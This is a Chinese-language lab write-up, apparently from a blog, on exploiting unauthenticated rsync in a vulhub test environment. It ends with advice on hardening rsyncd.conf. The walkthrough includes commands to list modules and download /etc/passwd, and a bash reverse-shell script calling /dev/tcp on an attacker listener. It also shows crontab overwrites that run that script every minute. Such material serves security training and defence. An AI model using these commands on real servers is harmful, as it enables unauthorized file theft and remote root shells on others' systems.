一、漏洞介绍

  rsync是Linux下一个远程同步工具,可快速同步多台主机中的文件和目录,如果配置不当,导致任何人可未授权访问上传/下载服务器文件。默认端口873

二、漏洞环境

  • vulhub + docker

三、漏洞利用

3.1 漏洞探测

》》nmap扫描对方是否存在rsync服务,默认端口873,可能更改成了其它端口
在这里插入图片描述
》》列出目标服务器目录:(两个方法皆可)
在这里插入图片描述
》》查看目录中的文件,如能查看说明存在未授权访问漏洞
或者

rsync rsync://<ip>:<port>/src

  
  
  • 1

在这里插入图片描述

3.2 漏洞利用(下载任意文件)

》》将对方passwd文档下载到本地
或者使用:

rsync -av rsync://<ip>:<port>/src/etc/passwd /

  
  
  • 1

在这里插入图片描述

3.3 漏洞利用(提权、反弹shell)

3.3.1 方法一

思路:

  1. 写一个bash反弹shell脚本到目标服务器(带着执行权限)
  2. 利用未授权,下载、编辑并上传crontab配置文件,定时运行脚本

Tips:不同的操作系统定时任务文件可能不同

》》本地准备好反弹shell文件,并赋予执行权限

#!/bin/bash 
/bin/bash -i >& /dev/tcp/<listener_ip>/<listener_port> 0>&1

  
  
  • 1
  • 2

在这里插入图片描述
》》将反弹shell文件上传到攻击者目录下
在这里插入图片描述

查看是否上传成功:
在这里插入图片描述

》》下载对方定时任务文件crontab
在这里插入图片描述
》》编辑crontab文件并保存退出(每隔1分钟运行一次脚本)
在这里插入图片描述
》》反弹shell的攻击者监听端口
在这里插入图片描述
》》将crontab文件上传到目标服务器:
在这里插入图片描述
》》攻击者成功获得shell
在这里插入图片描述

3.3.2 方法二

Tips:第二种方法绕了个路,一般使用第一种方法即可,不行的话可以尝试下第二种情况

思路:上传

  1. 写一个bash反弹shell脚本到目标服务器的/etc/cron.hourly目录下(带着执行权限)
  2. 利用未授权,下载、编辑并上传crontab文件

》》将上方的nc_shell.sh更改为nc_shell
》》将nc_shell上传至目标服务器的/etc/cron.hourly 目录下
在这里插入图片描述
》》下载对方的crontab文件编辑如下:(表示每分钟会执行/etc/cron.hourly文件夹下的文件)

*/1 *	* * *	root    cd / && run-parts --report /etc/cron.hourly

  
  
  • 1

在这里插入图片描述
》》上传到victim服务器,覆盖原crontab文件
在这里插入图片描述
》》攻击者监听端口,成功获取到shell
在这里插入图片描述

四、修复建议

更改配置文件/etc/rsyncd.conf,添加或修改参数:

  1. 访问控制,设置host allow,限制访问主机IP;
  2. 权限控制,设置read only=yes,模块设置为只读;
  3. 访问认证,设置auth、secrets,认证成功才能调用服务;
  4. 模块隐藏,设置list,将模块隐藏起来。
Logo

更多推荐